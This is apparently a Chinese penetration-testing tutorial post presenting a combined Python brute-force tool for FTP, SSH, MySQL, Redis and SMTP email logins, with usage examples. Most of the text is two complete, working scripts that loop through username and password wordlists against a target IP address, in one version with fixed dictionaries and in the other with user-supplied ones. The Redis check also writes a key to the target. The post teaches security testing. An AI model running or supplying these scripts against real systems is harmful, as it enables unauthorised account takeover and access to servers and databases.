集成爆破工具.
集合爆破里面包含了：电子邮件爆破工具，Redis爆破工具，FTP爆破工具，SSH爆破工具，MySQL爆破工具。
目录：
集合爆破工具.
电子邮件 爆破工具：
Redis 爆破工具：
FTP 爆破工具：
SSH 爆破工具：
MySQL 爆破工具：
集合爆破工具编写：
（1）固定字典编写：
运行效果：
（2）可自定义字典.
运行效果：
电子邮件 爆破工具：
用于尝试猜测电子邮件账号的密码,通常使用常见密码或字典进行爆破。
Python 渗透测试：电子邮件 SMTP 协议爆破.（25端口）-CSDN博客
Redis 爆破工具：
用于尝试猜测Redis服务器的访问密码,以获取对Redis数据库的控制权限。
Python 渗透测试：Redis 数据库 弱密码测试.（6379端口）-CSDN博客
FTP 爆破工具：
用于尝试猜测FTP服务器的用户名和密码,以便登录并访问FTP服务器上的文件。
Python 渗透测试：FTP 文件传输 爆破.（21端口）-CSDN博客
SSH 爆破工具：
用于尝试猜测SSH服务器的用户名和密码,以便远程登录并控制目标服务器。
Python 渗透测试：SSH 加密通道 传输文件 爆破.（22 端口）-CSDN博客
MySQL 爆破工具：
用于尝试猜测MySQL数据库的用户名和密码,以便获取对数据库的访问权限。
Python 渗透测试：MySQL 数据库爆破.（3306 端口）-CSDN博客
集成爆破工具编写：
（1）固定字典编写：
from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
def ftp_check(ip,username,password):
ftp = FTP()
print('check->'+ip+'|'+username+'|'+password)
try:
ftp.connect(ip, 21)
ftp.login(username,password)
print('success')
exit()
except Exception as e:
print('failed')
def ssh_check(ip,username,password):
print('check->' + ip + '|' + username + '|' + password)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip,"22",username,password)
print('success')
exit()
except Exception as e:
print('failed')
def mysql_check(ip,username,password):
print('check->' + ip + '|' + username + '|' + password)
try:
conn_obj = pymysql.connect(
host=ip, # MySQL服务端的IP地址
port=3306, # MySQL默认PORT地址(端口号)
user=username, # 用户名
password=password, # 密码,也可以简写为passwd
database='mysql', # 库名称,也可以简写为db
charset='utf8' # 字符编码
)
print('success')
exit()
except Exception as e:
pass
def redis_check(ip,password):
print('check->' + ip + '|' + password)
try:
redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
redis_conn.set('test', 'xiaodi')
print('success')
exit()
except Exception as e:
pass
def email_check(ip,username,password):
print('check->' + ip + '|' +username+'|'+ password)
try:
smtpObj = smtplib.SMTP()
smtpObj.connect('smtp.'+ip, 25) # 25 为 SMTP 端口号
smtpObj.login(username, password)
print('ok')
exit()
except smtplib.SMTPException:
print("Error")
if __name__ == '__main__':
pypath = os.getcwd()
print('eg:固定字典使用说明：')
print('python all.py ftp 127.0.0.1')
print('python all.py ssh 127.0.0.1')
print('python all.py redis 127.0.0.1')
print('python all.py mysql 127.0.0.1')
print('python all.py email')
xy=sys.argv[1] # 判断类型,然后进行
ip=sys.argv[2] # 判断 IP 地址
# zidian = sys.argv[3] # 接收账号的字典
# zidian2=sys.argv[4] # 接收密码的字典
#没有设置自定义字典，采用固定字典
#if len(zidian)==0:
if xy=='ftp':
for username in open(pypath + '//dic_username_ftp.txt'):
username = username.replace('\n', '')
for password in open(pypath + '//dic_password_ftp.txt'):
password = password.replace('\n', '')
ftp_check(ip, username, password)
elif xy=='ssh':
for username in open(pypath + '//dic_username_ssh.txt'):
username = username.replace('\n', '')
for password in open(pypath + '//dic_password_ssh.txt'):
password = password.replace('\n', '')
ssh_check(ip, username, password)
elif xy=='mysql':
for username in open(pypath + '//username_mysql.txt'):
username = username.replace('\n', '')
for password in open(pypath + '//password_mysql.txt'):
password = password.replace('\n', '')
mysql_check(ip, username, password)
elif xy=='redis':
for password in open(pypath + '//dic_password_redis.txt'):
password = password.replace('\n', '')
redis_check(ip, password)
elif xy=='email':
for username in open(pypath + '//email_username.txt'):
username = username.replace('\n', '')
ip = username.split('@')[1]
for password in open(pypath + '//email_password.txt'):
password = password.replace('\n', '')
email_check(ip, username, password)运行效果：
D:\python\python.exe 爆破.py mysql 127.0.0.1
python [名.py] [要爆破的类型] [IP地址]
（2）可自定义字典.
from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
def ftp_check(ip,username,password):
ftp = FTP()
print('check->'+ip+'|'+username+'|'+password)
try:
ftp.connect(ip, 21)
ftp.login(username,password)
print('success')
exit()
except Exception as e:
print('failed')
def ssh_check(ip,username,password):
print('check->' + ip + '|' + username + '|' + password)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip,"22",username,password)
print('success')
exit()
except Exception as e:
print('failed')
def mysql_check(ip,username,password):
print('check->' + ip + '|' + username + '|' + password)
try:
conn_obj = pymysql.connect(
host=ip, # MySQL服务端的IP地址
port=3306, # MySQL默认PORT地址(端口号)
user=username, # 用户名
password=password, # 密码,也可以简写为passwd
database='mysql', # 库名称,也可以简写为db
charset='utf8' # 字符编码
)
print('success')
exit()
except Exception as e:
pass
def redis_check(ip,password):
print('check->' + ip + '|' + password)
try:
redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
redis_conn.set('test', 'xiaodi')
print('success')
exit()
except Exception as e:
pass
def email_check(ip,username,password):
print('check->' + ip + '|' +username+'|'+ password)
try:
smtpObj = smtplib.SMTP()
smtpObj.connect('smtp.'+ip, 25) # 25 为 SMTP 端口号
smtpObj.login(username, password)
print('ok')
exit()
except smtplib.SMTPException:
print("Error")
if __name__ == '__main__':
pypath = os.getcwd()
print('python all.py email')
print('eg:自定义字典使用说明：')
print('python all.py ftp 127.0.0.1 user.txt pass.txt')
print('python all.py ssh 127.0.0.1 user.txt pass.txt')
print('python all.py redis 127.0.0.1 user.txt pass.txt')
print('python all.py mysql 127.0.0.1 user.txt pass.txt')
print('python all.py email user.txt pass.txt')
xy=sys.argv[1] # 判断类型,然后进行
ip=sys.argv[2] # 判断 IP 地址
zidian = sys.argv[3] # 接收账号的字典
zidian2=sys.argv[4] # 接收密码的字典
#设置了自定义字典
if xy=='ftp':
for username in open(pypath +'\\'+ zidian):
username = username.replace('\n', '')
for password in open(pypath +'\\'+ zidian2):
password = password.replace('\n', '')
ftp_check(ip, username, password)
elif xy=='ssh':
for username in open(pypath +'\\'+ zidian):
username = username.replace('\n', '')
for password in open(pypath + '\\'+ zidian2):
password = password.replace('\n', '')
ssh_check(ip, username, password)
elif xy=='mysql':
for username in open(pypath + '\\'+ zidian):
username = username.replace('\n', '')
for password in open(pypath + '\\'+ zidian2):
password = password.replace('\n', '')
mysql_check(ip, username, password)
elif xy=='redis':
for password in open(pypath + '\\'+ zidian):
password = password.replace('\n', '')
redis_check(ip, password)
elif xy=='email':
for username in open(pypath + '\\'+ zidian):
username = username.replace('\n', '')
ip = username.split('@')[1]
for password in open(pypath + '\\'+ zidian2):
password = password.replace('\n', '')
email_check(ip, username, password)运行效果：
D:\python\python.exe 爆破.py mysql 127.0.0.1 username_mysql.txt password_mysql.txt
python [名.py] [要爆破的类型] [IP地址] [账号字典] [密码字典]
学习链接：第159天：安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili
